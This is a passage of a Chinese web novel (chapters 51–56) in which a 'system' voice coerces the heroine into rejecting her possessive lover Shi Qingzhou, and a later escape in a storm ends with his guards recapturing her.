孟昭月乖巧地走过去打招呼:“伯父好,姐姐好。” “诶,好孩子。”时费笑呵呵地应着,眼神里是毫不掩饰的关切,“昨晚休息得怎么样?还习不习惯?” 孟婉凝看着眼前这翁慈媳孝的一幕,大脑一时有些宕机。 这时费对孟昭月的态度……也太奇怪了。 “时伯父。”孟婉凝强行挤出一个得体的笑容,介入他们的对话。 “我记得您之前还和家父提过,说我的剧本很有灵气,还说……能有我这样的晚辈,是时家的福气。” 她试图提起之前和时费在电话沟通好的内容,明明时费是她特意拉拢的。 谁知,时费听完,却立刻摆了摆手。 “嗨,那都是商业上的客套话,当不得真。” 他转头看向孟昭月,眼神愈发柔和。 “要说起来,还是我们昭月这样的女孩,更讨人喜欢。” 被当场打脸的孟婉凝表情一僵:“时伯父……” “好了,瞧我这记性,也是人老了,总不能这么干聊。”时费笑着,直接打断了孟婉凝的话。 他的目光在两个女孩之间转了一圈,笑意越发深了,像是才记起待客一般:“我去让人给你们送些点心上来,你们姐妹俩先聊着。” 说完他微微颔首,然后直接离开了,转身下楼时,他不动声色地对站在走廊尽头的那个女仆递了个眼色。 女仆心领神会,垂下了眼眸。 时费才刚完全转过身,脸上的笑意便全部都敛了去,他隐晦的看了眼东翼楼的方向,下意识地擦了擦自己的断指。 姐妹不合么?有点意思,那就让他给这孟婉凝提供些便利了。 时卿舟啊时卿舟,不知道易碎品,是该藏好的吗? 走廊里,只剩下了孟昭月和孟婉凝。 孟婉凝接连受挫,对孟昭月的怨恨已经达到了顶点。她看着眼前这张甜美无害的脸,指甲几乎要嵌进掌心。 她强压下心头的怒火,目光落在了那扇刻着“莉莉”的门上。 “说起来……”她脸上重新浮现出端庄的笑容,仿佛刚才的难堪未曾发生过。 “这间房的主人,我倒是认识。” “好久没来了,真想进去看看。” 孟昭月乖巧地看着她拙劣的表演,没有说话。 这时,一直安静站在一旁的女仆,突然主动上前,拿出一串钥匙。 “既然是孟小姐的朋友,那进去看看也无妨。” 她说着,便将钥匙插进锁孔,“咔哒”一声,打开了那扇尘封已久的门。 孟昭月站在原地,没有动,目光不轻不重地落在了那个女仆身上:“刚刚不是说……先生吩咐过,这里不对外开放吗?” “哎呀,没关系的。”孟婉凝走上前,亲热地挽住她的胳膊,将她往门里拉,“我们就进去看一眼,马上就出来。” 孟昭月皱起眉,想把手抽回来。 就在这时,孟婉凝突然用力,将她猛地推进了房间里! 紧接着,“砰”的一声。 门在她身后被重重地关上,然后是落锁的声音。 孟昭月:“……” 好幼稚的行为。 她没有生气,只是叹了口气,然后转身拍了拍门,声音依旧是那副乖巧礼貌的样子。 “姐姐,麻烦把门打开。” 门外,传来孟婉凝带着歉意的、焦急的声音。 “昭月!你别急!这个锁好像是老式的,卡住了!” “我这就去找人来开门!你等我一下!” 随后门外便没声了。 房间里,重新恢复了死寂。 空气中弥漫着厚重的灰尘味,光线昏暗,能看到无数微小的尘埃在从中浮动。 霉灰的气味实在有些不好闻,孟昭月打了个喷嚏,鼻子眼眶不由得有些红了。 她站在黑暗里,打量着这个房间。 窗户被从外面钉死了。 她拧了拧门把手,纹丝不动。 有点麻烦。 她寻找着有没有什么出去的办法,目光落到了一把椅子上。 刚抽出椅子,一个粉色的笔记本就掉了出来。 扉页上用稚嫩的笔迹写着主人的名字——莉莉。 孟昭月犹豫了一下,随手翻了几页。 「9月5日,晴。」 「今天天气真好,Hero又给我买了新的洋娃娃,是全球限量的款哦!」 「Hero说只要我喜欢,他可以把全世界的娃娃都买给我。真好,Hero最疼我了。」 「9月12日,雨?」 「今天心情不好,因为下雨不能出去玩。」 「家里的那条野狗又脏又臭,总喜欢待在角落里,看着就烦。」 「我把我的午餐倒在地上让它吃,它居然不吃耶,真是条没礼貌的狗。」 「哥哥他们去教训那条野狗了,它流了很多血,但是它活该。」 「Hero说,只要我开心,怎么和它玩都可以。」 孟昭月翻到后面几页。 「10月1日,晴。」 「今天真是太好玩了!」 「我发现野狗有一个很漂亮的盒子,里面都是白色的粉末,肯定很好看。」 「于是我和哥哥趁野狗不注意,抱着盒子跑到阳台上,把里面的东西全都撒了出去!」 「真的像下雪一样!太美了!」 「野狗就在我们身后,一动不动地看着,连哭都没有哭一声,真没劲。」 「Hero也看到了,他不但没骂我,还笑着摸我的头,说我是个有创意的小艺术家。嘻嘻,我就知道,Hero最喜欢我了。」 日记到这里就结束了。 孟昭月合上笔记本,在心里,默默地念了两个词。 Hero。 野狗。 她看了一眼窗外,隔着窗帘的缝隙,阳光明媚。 孟昭月沉默了一会,然后转身走到门边,用一种极为平静的语气,对着门外说。 “姐姐,我最后再说一次。” “麻,烦,把,门,打,开。” 门外,传来孟婉凝装模作样的声音:“昭月,你再等等,我已经在找人了!” 孟昭月不再说话。 她退后几步,直接抄起了那张沉重的木质椅子。 “砰!” 一声巨响。 椅子被她狠狠地砸在了门板上。 门外的孟婉凝被这突如其来的巨响吓了一大跳。 孟昭月疯了吗?!她居然在砸门?! 就在这时。 庄园的大门外,传来了一阵汽车引擎由远及近的声响。 紧接着,是两个男人交谈的声音。 一个声音低沉冷冽,带着压抑到极点的怒火。 “时卿舟,你最好给我一个解释。” 另一个声音,则是一贯的温和有礼,甚至还带着一丝若有若无的笑意。 “孟总,别着急。” “请进吧。” 第51章 咦,她好像……吐血了? 砰! 沉重的撞击声从主楼二楼传来,一声接着一声。 时卿舟和孟廷凛刚走进大厅,就听到了这不寻常的动静。 时卿舟微微皱眉,看了一眼二楼。 孟廷凛也看了一眼二楼,神情不变。 他用尽了手段才查到那酒吧是时卿舟的,几乎可以肯定,是时卿舟把他的侄女带走了。 他今天,就是来要人的。 时卿舟顺着声音的来源,快步走上楼梯。 孟廷凛也跟了上去。 二楼走廊的尽头,他们看到了孟婉凝。 她正一脸惊慌地,站在一扇紧闭的房门前。 而那巨大的撞门声,正是从那扇门后传来的。 “婉凝?”孟廷凛看到她,快步上前,声音里带着关切,“你怎么会在这里?出什么事了?” 时卿舟的脚步则停在了几步之外,他扫了一眼那扇不断震动的门,然后看向旁边那个脸色惨白、浑身发抖的女仆。 “怎么回事?孟二小姐呢?”他的声音很平淡,却让那女仆的身体抖得更厉害了。 “先生……”女仆的话还没说完。 “砰——!” 一声比之前任何一下都更加剧烈的巨响。 那扇年久的门在持续的撞击下终于不堪重负,伴随着木屑的迸裂声,轰然倒下。 灰尘与破碎的木屑弥漫开来。 光线从门外涌入,照亮了那个站在门内的身影。 女孩手里还提着一把高背木椅,她身上那件白色的睡裙沾了些灰尘,几缕黑发贴在颊边,小脸也有些脏兮兮的。 她的眼眶红红的,就那么站在一片狼藉之中。 时卿舟的瞳孔,骤然缩紧。 孟廷凛也愣住了。 孟昭月看到门外多了好几人,也有些惊讶。 她眨了眨眼,慢吞吞地将手里的椅子放了下来,乖巧地笑了笑。 “阿卿,小叔,你们来了呀。” 她的声音还是那样软软糯糯,像是在打一个再寻常不过的招呼。 时卿舟最先反应过来,他快步上前,一把将她拉到自己身后护住。 他看着她红了的眼眶,手指轻轻地擦去了她脸上的灰尘,眼神暗了下来。 “怎么回事?” 他转头,看向那个已经快要瘫软在地的女仆,声音冷得像冰。 女仆吓得直接跪了下来,声音发着抖:“先生……是……是婉凝小姐……” 孟婉凝立刻打断了女仆的话:“女仆小姐!你最好认清自己的身份,可不要乱说话。” 女仆顿时噤了声,犹豫着不知怎么说。 孟昭月叹了口气,直接说了出来: “姐姐说,她认识这间房的主人,想进去看看。” “然后,女仆打开门,姐姐就把我推进来了,锁上了门。” “昭月,我知你不喜欢姐姐……可是也不能这样污蔑我。”孟婉凝走到孟廷凛身边,抓住他的胳膊。 “是那个门锁太旧了,不小心卡住了。我刚才正准备去找人来开门。” 孟婉凝抬起眼眸,眼眸泛起水雾,看着孟廷凛,像是受了天大的委屈一般,声音带上哭腔。 “小叔……你会相信我的,对吧?” 孟廷凛看着她这副样子,一时间有些心疼,语气软了下来:“我知道你不是故意的。” 他下意识地就选择了维护。 孟昭月:“……” 6。 时卿舟确认孟昭月没有受伤后,才缓缓抬起头,那双黑色的眼睛冷冷地看向孟婉凝。 他带着惯常的笑容,声音却很冷。 “孟小姐,这里的每一扇门的锁都是死栓结构。” “所以,不存在‘卡住了’这种说法。” 孟婉凝的哭声一滞,下意识抓紧了孟廷凛。 “够了。”孟廷凛开口打断了时卿舟的话,他上前一步,将孟婉凝护在了身后。 “时卿舟,婉凝是你的客人,也是昭月的姐姐,你没必要把事情闹得这么难看。” 他的态度很明确。 而且就算孟婉凝有错,那也轮不到时卿舟一个外人来教训。 孟昭月看着眼前这一幕,安静地垂下了眼。 时卿舟看着孟廷凛嘴角的笑意也冷了下来:“孟总的意思是,我的人,被欺负了,就这么算了?” 气氛,瞬间剑拔弩张。 就在这时。 “唔……”一声压抑的、轻微的声响,打破了对峙。 孟昭月感觉到,有什么温热的、带着铁锈味的东西,从喉咙里涌了上来。 她抬起手捂住了自己的嘴。 然后,鲜红的血,从她的指缝间,涌了出来。 一滴,两滴,然后是止不住的泉涌。 越来越多、越来越多。 顺着她白皙的下巴,滴落在她纯白的睡裙上。 晕开一朵一朵刺目的红。 咦? 她好像…… 吐血了? 整个走廊,死一般的寂静。 她迷茫地抬起头,然后她看到了 时卿舟脸上的所有表情,在那一瞬间,尽数碎裂。 第52章 如果任务失败,抹杀 时间凝固了。 世界的声音在那一瞬间全部褪去,只剩下粘稠的、鲜红的液体从她指缝滴落的声音。 嗒。 嗒。 嗒。 时卿舟脸上的所有表情,寸寸碎裂。 前世那场焚尽一切的大火,裹挟着浓烟与焦味,猛地冲进他的脑海。 她在他怀里失去温度的身体,和他此刻看到的、从她唇边溢出的鲜红,重叠在了一起。 不。 “不……” 他听见自己发出了一个破碎的音节。 孟昭月身体一软,向前倒去。 时卿舟的身体比他的意识更快地做出反应,他疯了一样冲上前,在她倒地前将她死死地捞进怀里。 “医疗组!!!” 他的吼声在空旷的走廊里炸开,带着撕裂寂静的恐惧。 他抱着她,转身就朝西楼的方向冲了出去,声音因为极度的恐慌而颤抖、变形。 “姜玦!让所有人就位!现在!!” 怀里的人很轻,在迅速地失去温度。 “月月……月月,看着我……” 他颤抖着,想去碰她的脸,却又怕自己冰冷的手指会惊扰她。 “别睡……求你,别睡……” 孟廷凛僵在原地,他看着地上留下的血,大脑一片空白,前所未有的恐慌攫住了他的心脏。 他刚才……都做了什么? 他为了维护孟婉凝,又一次……忽略了她。 而孟婉凝,则是被吓得脸色惨白,身体不受控制地发着抖。 她只是想把孟昭月关起来,给她个教训而已…… 怎么会这样? 时家庄园,西楼,医疗室。 这里配备的医疗设备,比得上任何一家顶级的私立医院。 抢救室的红灯亮起。 十几名顶尖的医疗专家围在病床边,各种精密的仪器发出规律的滴滴声。 时卿舟就站在抢救室外的单向玻璃,身上还穿着那件染了血的西装。 他的身体站得笔直,脸上没有任何表情,可那双死死攥着、骨节泛白的手,却暴露了他内心的不平静。 一个小时后,为首的专家摘下口罩,走到他面前,神色是前所未有的凝重与困惑。 “先生。” “孟小姐的身体……很奇怪。” 时卿舟的视线,缓缓地从病床上那个安静的身影,移到了专家的脸上。 “各项检查结果都显示,她的内脏器官,正在以一种……完全不符合医学常理的速度,迅速衰竭。” 姜玦闻言惊讶出声:“怎么可能?!前几天孟小姐才做过全身检查,她的身体明明没有任何问题。” 内脏衰竭。 这四个字,像一把重锤,狠狠地砸在时卿舟的神经上。 前几天还很健康…… “你会害死她的!” “就像上辈子一样!” 顾清珩那充满恨意的、嘶吼的声音,毫无预兆地在他脑海里炸响。 时卿舟的瞳孔骤然缩紧。 顾清珩。 他知道。 他一定知道些什么! “顾清珩在哪?”时卿舟转过头,声音冷得像是能结出冰。 姜玦低声汇报:“先生,顾少爷那天在酒吧,当晚就被顾衡国议长的人接走了。” 时卿舟闭了闭眼,再睁开时,眼底已是一片沉沉的死寂。 “顾青珩……” …… 孟昭月的意识,漂浮在一片无尽的黑暗里。 很冷,很空。 【滋啦——】 一阵尖锐的、像是电流过载的爆鸣声,在她脑海里炸开。 紧接着,那个奶声奶气的声音响起,却混杂着失真的、断断续续的电音。 【宿主,滋啦,这就是消极怠工的下场。】 “是你做的?”孟昭月在黑暗中问。 【这是,警告,滋滋——】 系统的声音极不稳定 【你是一个女配,你的存在,意义,就是为了衬托女主,推动男主剧情。】 【你不离开反派,滋啦,不去攻略男主,就是违背了核心设定!】 “不要,我只想和阿卿在一起。” “我和他明明好好的,为什么要去攻略我不喜欢的人?” 【滋——————!!!】 一阵更加剧烈的爆鸣声响起,几乎要撕裂她的意识。 【你疯了吗?!你一个女配!凭什么和反派在一起?!】 【我再警告你最后一次,孟昭月!】 【立刻去履行你作为女配的义务!】 【否则,我会弄死你!】 随着那个“死”字落下,一道冰冷的电子提示音在她脑海里响起。 【叮咚!强制任务发布!】 【任务内容:在1小时内,当着时卿舟的面,践踏他的感情。并向孟廷凛,告白。】 【倒计时开始:0:59:58……】 【如果任务失败】 【抹杀——】 …… 孟昭月猛地睁开了眼睛。 已经不知道睡了多久了。 映入眼帘的,是时卿舟那张写满了担忧和憔悴的脸。 他的眼下带着淡淡的青色,看起来已经很久没有休息了。 “月月?” 看到她醒了,他那双黯淡的眼睛里瞬间亮起了光。 他俯下身,温热的手掌覆上她的额头,声音沙哑得厉害。 “醒了?有没有哪里不舒服?” 孟昭月看着他,鼻子一酸,眼眶瞬间就红了。 系统抹杀的声音还在脑海里回响,死亡倒计时一下一下翻数,是悬在她头上达摩克利斯之剑。 她真的会死吗? 她又委屈又害怕。 看着时卿舟,孟昭月稍微安心了一些。 没事的她还有阿卿,阿卿会帮她的。 她要把所有的一切都告诉他。 告诉他这个莫名其妙的世界,告诉他那个想要杀了她的系统。 “呜……阿卿……” 她张开嘴,刚要开口。 【警告——滋啦——】 脑海里,那道冰冷的电音再次炸响。 【泄露系统存在——立即——抹杀——】 孟昭月的话,就这么卡在了喉咙里。 第53章 小叔你带我走吧 为什么? 为什么大家都要阻止她和他在一起? 明明他们是两情相悦的。 系统,孟廷凛,孟婉凝,还有顾清珩…… 为什么每一个人,都在逼她离开他? 她只是……想和一个一直爱着她、一直注视着她、永远都会选择她的人在一起而已。 就因为,她是“女配”吗? 她看着时卿舟,嘴唇动了动,却一个字都说不出来。 眼泪,就那么不受控制地,大颗大颗地滚落下来。 时卿舟看到她这个样子,心疼得像是要碎了。 他连忙将她轻轻地揽进怀里,手掌一下一下地,安抚着她的后背。 “怎么了?宝宝,怎么了?” 他的声音慌乱又无措。 “是不是哪里疼?告诉我,好不好?” 孟昭月在他怀里摇了摇头,只是不出声地掉着眼泪,身体因为恐惧而微微颤抖。 眼泪流得更凶了。 不知过了多久,她才重新睁开眼,用一种极轻的、带着哭腔的、破碎的声音,说。 “阿卿……” “我想见……小叔。” 时卿舟脸上的所有表情,瞬间凝固了。 他看着她,那双黑色的眼睛里,刚刚亮起的光,一点一点地,重新熄灭了下去。 “为什么?” 他问,声音很轻,却带着一种危险的平静。 “你刚从鬼门关回来,第一个想见的,是他?” 孟昭月摇了摇头,眼泪又掉了下来。 她伸出手,抓住他的衣袖,软软地、可怜兮兮地哀求。 “没有为什么……我就是想见他……” 时卿舟就那么看着她,看了很久。 然后,他笑了。 他俯下身,猛地吻住了她。 这个吻,不再有任何温柔。 充满了惩罚的、占有的、近乎撕咬的力道。 他撬开她的牙关,狠狠地掠夺着,直到尝到一丝血腥味,才松开了她。 他用拇指,有些粗暴地擦去她唇上的血迹。 “好。” 他说。 “我让他来见你。” 他顿了顿,嘴唇贴着她的耳朵,用一种只有两个人能听到的、冰冷的声音,补充道。 “但是,月月,你要记住。” “你是我的。” “我会看着你。” “一直,一直地看着你。” …… 不久后医疗室的门被推开时,孟廷凛带着一身寒气走了进来。 他的步伐很快,带着压抑的怒火和显而易见的担忧,径直走向病床。 时卿舟跟在他身后,动作不紧不慢。 在踏入房间时,他抬起手,不经意地调整了一下左腕上的袖扣,金属的扣面在指腹下轻微转动。 “昭月。”孟廷凛在床边站定,看着孟昭月苍白的小脸,声音不自觉地放软了许多,“跟我回家。” 孟昭月抱着被子,犹豫地看着他,没有说话。 她脑海里,那个冰冷的倒计时数字,像跗骨之蛆,不断地跳动着。 【00:20:05……】 孟廷凛见她不说话,以为她在害怕,语气变得更加温和。 “别闹脾气了,跟我回去。” “你爸爸妈妈回国了,他们都在等着你。“ “还有婉凝,她也很担心你,她之前的过失,小叔会帮你说她的。” “我们是一家人,有什么事不能回家说?” 家人? 回家? 听到这两词,孟昭月心里对回家更排斥了。 那是孟婉凝的家,不是她的。 那个家里,没有人喜欢她,没有人欢迎她。 她不想回去。 孟昭月下意识地抬起头,眼泪汪汪地看向站在不远处的时卿舟。 他只是安静地站在那里,靠着墙壁,脸上没什么表情。 他的手指,正在一下一下地,缓慢转动着小指上那枚黑色的家族戒指。 【00:05:17……】 时间越来越近了。 孟昭月沉默着。 “昭月,听话。”孟廷凛见她迟迟不肯动,耐着性子又唤了一声。 【倒计时:00:00:10】 【9】 【8】 【宿主!你想死吗?!】 系统的尖叫声在她脑海里炸开。 【台词已导入!赶快给我照着念!】 一段文字被强行投射在她的视野中。 孟昭月看着那行字,又看了看眼前的孟廷凛,最后,她的视线越过他,落在了时卿舟身上。 【5】 【4】 她闭上眼,再睁开时,眼眶已经红了。 “小叔……” 最后,在倒计时即将归零的那一刻,她抬起头,看向孟廷凛。 她的声音很轻,带着哭腔。 “你带我走吧。” 时卿舟转动戒指的手,停了下来。 第54章 你对我来说,什么都不是了 孟廷凛闻言,脸上露出了松了一口气的神情,他伸手想去扶她:“好,我们回家。” “小叔。” 孟昭月却躲开了他的手,她看着他,眼泪大颗大颗地往下掉。 她深吸一口气,像是用尽了全身的力气,照着那段冰冷的台词,一字一句地念了出来。 “我喜欢你。” “不是侄女对长辈的喜欢,是……是一个女人,对一个男人的喜欢。” 孟廷凛的动作,彻底僵住了。 他错愕地看着她,一时竟说不出话来。 而时卿舟,只是安静地看着,那双黑色的眼睛,幽深得像一口古井。 孟昭月没有停顿,她知道,这只是开始。 她转过头,看向时卿舟。 “时卿舟。” 她开口,每一个字,都像刀片,先割伤了自己。 “我从来没有喜欢过你。” (对不起,阿卿……对不起……) “我之前和你在一起,只是因为……因为小叔一直把我当小孩子,我只是想气气他而已。” (不是的……我喜欢你……只喜欢你……) 时卿舟脸上的表情没有变化,依旧安静地听着,只是那双眼睛,愈发幽深。 孟廷凛则从最初的震惊中回过神,他看着哭得泣不成声的孟昭月,又看了看面无表情的时卿舟,眼神变得复杂。 “你知道吗?你那份所谓的爱,是我见过最廉价、最令人窒息的东西。” “它就像一个漂亮但腐烂的笼子,我多待一秒都觉得恶心。” (别信……求你,别信……) 她哭得更凶了,几乎要喘不上气。 “我受够了你那种自以为是的占有和控制,也看腻了你这张故作温柔的脸。” “现在,我找到真正喜欢的人了。” 她哽咽着,几乎说不出完整的句子,最后指向孟廷凛,用尽全力喊出了最后一句话。 “我要和他在一起,而你——” “你对我来说,什么都不是了!” (对不起……对不起……阿卿……) 心好痛,像要碎掉了一样。 她说完,就抱着被子,哭得稀里哗啦,再也说不出一个字。 【叮咚!任务完成!】 【身体惩罚收回,下一项任务将在后续发放。】 时卿舟脸上的神情,在她说出第一句话时,还带着某种幽暗的情绪。 可越到后面,他的神情反而越发平静。 平静到,近乎漠然。 孟廷凛看着眼前这混乱的场面,最终还是上前一步,准备将孟昭月从床上扶起来。 “昭月,别哭了,我们走。” 孟昭月绝望地闭上了眼睛。 她不想走。 她不想回那个所谓的“家”,不想离开时卿舟。 就在孟廷凛的即将抱起她的那一刻。 一只手,拦在了他的面前。 是时卿舟。 “孟总。” 时卿舟的声音很平淡,听不出任何情绪。 “我让她见你,是因为她想见你。” “现在,见完了。” “你可以离开了。” 孟昭月闻言愣了愣,猛地睁开眼,看向时卿舟。 孟廷凛的脸色也沉了下来:“时卿舟,你这是什么意思?” 时卿舟轻笑了一声。 “看来孟总还没搞清楚状况。” “这里是时家。” “我不是在和你商量。” 孟廷凛的脸色变得极为难看:“你以为你能拦得住我?” “是吗?” 时卿舟脸上的笑意更深了。 他抬起手,轻轻地拍了两下。 “啪,啪。” 医疗室的门被猛地推开。 为首的是秦御,他身后,是几十个穿着黑色作战服、面无表情的男人。 “先生。”秦御躬身行礼。 孟廷凛的瞳孔骤然缩紧。 他看着眼前这阵仗,心一点一点地沉了下去。 时卿舟看都没看孟廷凛一眼,只是冷冷地开口。 “把孟总,‘请’出去。” 秦御带着看好戏的笑意对孟廷凛伸出手:“孟总,请。” 孟廷凛死死地攥着拳,他看着时卿舟,又看了看床上那个抱着被子、眼眶通红的女孩。 最终,他一言不发地,转身离开了。 门,被重新关上。 房间里,又只剩下了孟昭月和时卿舟两个人。 孟昭月抱着被子,红着眼眶,呆呆地看着眼前这一幕。 她还以为自己非走不可了。 怎么突然就反转了。 她的眸子,慢慢地,一点一点地,亮了起来。 对哦,要是时卿舟不让她走,她也没办法呀?系统也怪不到她头上了。 随即,她又想起了自己刚才说的那些话,心里一阵内疚和心虚。 她看着走到床边的时卿舟,抱着被子,紧张地问,声音里还带着哭腔。 “阿卿……我刚刚说了那么难听的话……你不生气吗?” 时卿舟轻笑了一声,伸出手,轻轻地刮了一下她哭得通红的鼻尖。 “你都哭成这个样子了。” “你真正想要的是什么,我能不知道吗?” “况且……” 他低下头,吻了吻她的眼睛。 “我怎么可能因为几句不痛不痒的话就放弃你?” “你是我的。” “无论如何,都不会变。我说过,我不会让你离开的。” 而且……时卿舟在心里想。 上辈子,她骂得可比这几句轻飘飘的话,难听多了。 第55章 孟小姐她逃跑了 夏末的暴雨总是来得突然。 夜,观海棠会所。 窗户隔开了屋外剧烈的暴雨声,屋内檀香袅袅间,一片静谧。 时卿舟将一杯新沏的雨前龙井推到对面,茶汤色泽清亮。 “恭喜。”他开口,声音温和,“政通咨询的会长,顾少爷。” 他对面的是顾青珩。 顾清珩换下了曾经有些发白的T恤,身上是昂贵的定制西装。 他不久前被接回了顾家。 顾青珩没有碰那杯茶,只是冷冷看着时卿舟:“时先生的消息倒是灵通。” “总该关注些的,毕竟……”时卿舟笑了笑,指尖在杯壁上轻轻划过:“我们有一些共同的‘爱好’。” 上辈子,顾青珩被接回顾家后,被安排到外交部锻炼,这次不知为什么进了个二线的政治游说机构。 “时卿舟,你找我来,是为了说这些废话?”顾清珩的声音里带着毫不掩饰的敌意。 时卿舟笑了笑,并不在意他的态度。 “月月前几天,突然内脏衰竭,陷入昏迷。”他说着,语气稍微凝重了一些。 “你说什么?!”顾清珩的身体猛地前倾,双手重重拍在桌上,茶杯被震得跳起,茶水溅出。 “时卿舟,你对她做了什么?!” “别激动。”时卿舟没有看顾青珩,只是屈指轻轻敲着桌子,语气平稳。 “不到一个小时,她就迅速恢复了。” “第二天醒来,像什么都没发生过一样。” “实在是……奇迹。” 说着,他的敲击桌子的动作停下,抬头看向顾青珩,黑色的眼睛像两潭幽深的寒潭。 “顾清珩。” “你知道些什么,对不对?” 听到孟昭月没事,顾清珩松了口气。 他脸上愤怒的神色慢慢褪去,随后嗤笑了一声:“只要你别再缠着她,她就不会有事。” 时卿舟的眼眸沉了下来。 “顾清珩,这辈子,你可不是她捧在手心里护着的弟弟。” “如果我想杀你,可不会再像上辈子一样,为了不让她伤心饶你一命了。” 顾清珩闻言怒了:“时卿舟!你个杀人凶手,还有脸说不让她伤心?!” 他的胸口剧烈的起伏,他死死地瞪着时卿舟,眼中的恨意几乎要凝成实质。 最终,他像是泄了气一般,靠回椅背,声音沙哑。 “我认真的,只要你缠着她,她一定会出事。” “这是上辈子我把关联事件整理后,得出来的结论。” “具体原因不清楚,像是……某种不可抗的神明之力。” 顾青珩看着茶杯中升腾起的白雾,神色晦暗不明。 “上辈子孟婉凝设计,才让你这个杂碎钻了空子。” “昭月死后……我杀了孟婉凝报仇,然后就重生了。” “研究时间太短了,没找到原因。” 时卿舟沉默了。 神明吗…… 随后他突然开口:“上辈子你没死?” 顾青珩愣住了,点了点头。 就在这时,茶室的门被突然推开。 姜玦快步走到时卿舟身边,俯下身,用极低的声音汇报。 “先生,孟小姐她……逃跑了。” …… 雨更大了。 时家庄园背靠的整片山林,瓢泼大雨疯狂地抽打着树叶。 一道纤细的身影在泥泞的林地里狂奔,白色的连衣裙早已被雨水和泥浆浸透,紧紧地贴在身上,勾勒出少女脆弱的轮廓。 雨水模糊了她的视线,冰冷的风灌进她的喉咙。 她踉跄了一下,脚被突出的树根狠狠绊倒,整个人狼狈地摔进泥水里。 “嘶……” 膝盖磕在坚硬的石块上,传来一阵钻心的疼。 孟昭月咬着牙,用发抖的手臂撑起身体,又一次摇摇晃晃地站了起来。 “系统,你就非得挑个大雨天让我跑吗?黑漆漆的什么都看不见。” 她在心里有些不满地抱怨。 “找个晴天跑路它不香吗?非要搞得这么凄惨。” 【宿主这你就不懂了吧,雨天方便掩盖声音和痕迹。】 系统奶声奶气的声音在她脑海里响起。 【而且,下雨会冲刷掉你身上的气味,这样追踪犬就闻不到啦。】 孟昭月的脚步,猛地顿了一下。 她有些无语地在心里问:“就这些?” 【对啊,不然呢?】 系统理所当然地回答. 孟昭月沉默了。 过了好一会儿,她才幽幽反问。 “我说,你知不知道有种东西,叫热成像?” 系统卡壳了。 【……】 “都什么年代了,还用狗追人?”孟昭月简直要被气笑了。 【热成像……也不是谁都有的嘛……】系统的声音听起来有些心虚。 “你是不是忘了时家是干什么的?”孟昭月彻底无语了。 “人家是全球最大的军火商!” “庄园的安保系统用的是军用级的‘天眼’系统,热成像动态捕捉加红外线锁定,连一只耗子都跑不出去!” “估计我从踏出东翼楼的第一步开始,行踪就已经实时显示在中央控制室的大屏幕上了。” 她的话音刚落。 一阵“嗡嗡”声,穿透了雨幕,从她头顶传来。 孟昭月脚步一僵,抬起看去。 夜色中,数几架旋翼无人机,正悬停在她的上方,黑压压的一片,像是蜂群一般。 孟昭月:“……” 哦豁,时卿舟的人追上来了。 紧接着,四面八方,亮起了一道道刺眼的光柱。 十几束强光手电的光束撕裂了雨夜,从林间的阴影处射来,将她牢牢地锁定在光圈的中央。 一群穿着黑色作战服的男人从黑暗中走了出来。 几十个黑洞洞的枪口,对准了圈中央那个浑身湿透、瑟瑟发抖的少女。 很快,人群自动向两边分开,让出了一条通路。 一道高大的身影,从那片最浓稠的黑暗里,一步一步地,走了出来。 是时卿舟。 他身旁是撑伞的秦御。 时卿舟停在了光圈的边缘。 逆着光线,孟昭月看不清他的表情。 只能感觉到男人的目光沉甸甸地压在她的身上,像是来自深渊的凝视。 他是整个狩猎场中唯一的主宰。 无形的、冰冷的压迫感瞬间铺开,比这漫天暴雨还要令人窒息。 然后她听到他温和的声音响起。 “宝宝,跟我回家。” 第56章 我们一起死,好不好? 大雨不停歇。 时卿舟慢慢走向站在暴雨中的女孩。 他蹲下身,视线与她的膝盖平齐。 他伸出手,指尖轻轻拂开孟昭月膝盖上沾染的泥浆和草叶。 看到下面一片血肉模糊的擦伤,时卿舟的眸子暗了暗。 “疼吗?” 他的声音很温柔,混在哗哗的雨声里,听起来有些不真切。 孟昭月低着头,看着蹲在自己面前的男人。 雨水从他的发梢滴落,几缕发丝贴在他额角冷白的皮肤上。 而他则在小心翼翼地检查着自己的伤口。 是她的阿卿…… 孟昭月心头一热,下意识地想要往他的怀里扑去。 【警告!!宿主,注意你的身份!】 系统的电音在她脑海里炸响。 【你是女配!不准和反派这么亲近!】 孟昭月扑人的动作停住了。 啧…… 这系统真的烦。 然后,她默默地往后缩了缩,躲开了时卿舟即将触碰到她伤口的手。 时卿舟的手停在了半空中。 然后,他缓缓抬起头,看向她。 那双黑沉的眼睛里,所有平日里的温和都已褪去,只剩下一种让她脊背发凉的平静。 平静得可怕。 孟昭月想起了那天在浴室里,他掐着她的脖子,在她耳边描述孟婉凝濒死样子的情景。 她不由自主地咽了咽口水。 下一秒,时卿舟就站了起来,直接一把将孟昭月抱了起来。 孟昭月惊呼一声。 她身上的雨水和污泥,瞬间就将他那件价值不菲的手工定制西装,弄脏了一大片。 时卿舟却像是完全没有感觉到,只是将她往怀里紧了紧。 然后转身,朝着庄园灯火通明的方向走去。 【宿主!】 【做点什么呀!】 【你别就这么让他抱回去啊!】 系统在她脑海里疯狂催促。 孟昭月在心里摇头。 “我能做什么嘛?” “阿卿受过系统性的近身搏杀训练,他一只手就能把我捏碎诶。” “我现在反抗,除了让自己更惨,还有什么用?” 【我不管!】 【你赶快挣扎!这是任务!】 孟昭月无奈地叹了口气。 她在时卿舟的怀里扭了扭,两条白嫩的腿,也象征性地踢了两下。 她的力道对于男人来说,和小奶猫差不多。 时卿舟的脚步停住。 他低下头,看了怀里不安分的人一眼。 孟昭月无辜地对他笑了笑。 然后,没有任何预兆地,时卿舟手臂一转。 直接将她甩到了自己的肩膀上,扛了起来。 “呀!”孟昭月惊呼一声。 她只感觉整个世界都颠倒了。 她柔软的小腹被他坚硬的肩骨硌得生疼,胃里一阵翻江倒海,头晕目眩。 孟昭月难受得小腿乱蹬:“阿卿我错了!快放我下来呀!” 时卿舟拍了拍她的臀部,没有放开她。 孟昭月身体一僵,在心里埋怨。 “我说什么来着。” “系统!你现在满意了吧!” 系统装死,不再发出任何声音。 …… 主楼玄关。 昏暗的壁灯在大理石地面上投下摇曳的光影,空气里是古旧木料和熏香混合的气息。 女仆们早已训练有素地等候在一旁,备着医疗箱和清理工具。 时卿舟将孟昭月从肩上放下来。 像是摆放洋娃娃一样,直接把她放在了一张看起来就价值不菲的古董边桌上。 他接过女仆递来的温热毛巾。 “腿伸出来。”他命令道。 孟昭月看着他,没有动。 时卿舟也不多言,直接伸手握住她的小腿,拉开她的腿。 用温湿毛巾,将她膝盖上的泥污一点点擦干净。 然后用棉签沾了消毒药水,轻轻地,擦拭着她擦破皮的地方。 “嘶……” 